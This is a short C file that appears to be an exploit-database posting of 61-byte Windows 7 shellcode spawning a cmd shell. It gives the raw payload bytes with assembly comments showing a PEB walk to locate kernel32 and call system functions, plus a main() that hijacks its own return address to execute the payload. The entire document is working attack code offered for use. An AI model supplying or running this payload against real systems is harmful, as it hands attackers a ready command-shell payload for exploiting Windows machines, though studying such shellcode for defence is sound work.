/* | Title: Windows Seven x64 (cmd) Shellcode 61 Bytes | Type: Shellcode | Author: agix | Platform: win32 | Info: Tested on Windows Seven Pro Fr, Ultimate En, Premium Home En */ #include <stdio.h> char shellcode[] = "\x31\xC9" //xor ecx,ecx "\x64\x8B\x71\x30" //mov esi,[fs:ecx+0x30] "\x8B\x76\x0C" //mov esi,[esi+0xc] "\x8B\x76\x1C" //mov esi,[esi+0x1c] "\x8B\x36" //mov esi,[esi] "\x8B\x06" //mov eax,[esi] "\x8B\x68\x08" //mov ebp,[eax+0x8] "\xEB\x20" //jmp short 0x35 "\x5B" //pop ebx "\x53" //push ebx "\x55" //push ebp "\x5B" //pop ebx "\x81\xEB\x11\x11\x11\x11" //sub ebx,0x11111111 "\x81\xC3\xDA\x3F\x1A\x11" //add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6) "\xFF\xD3" //call ebx "\x81\xC3\x11\x11\x11\x11" //add ebx,0x11111111 "\x81\xEB\x8C\xCC\x18\x11" //sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7) "\xFF\xD3" //call ebx "\xE8\xDB\xFF\xFF\xFF" //call dword 0x15 //db "cmd" "\x63\x6d\x64"; int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }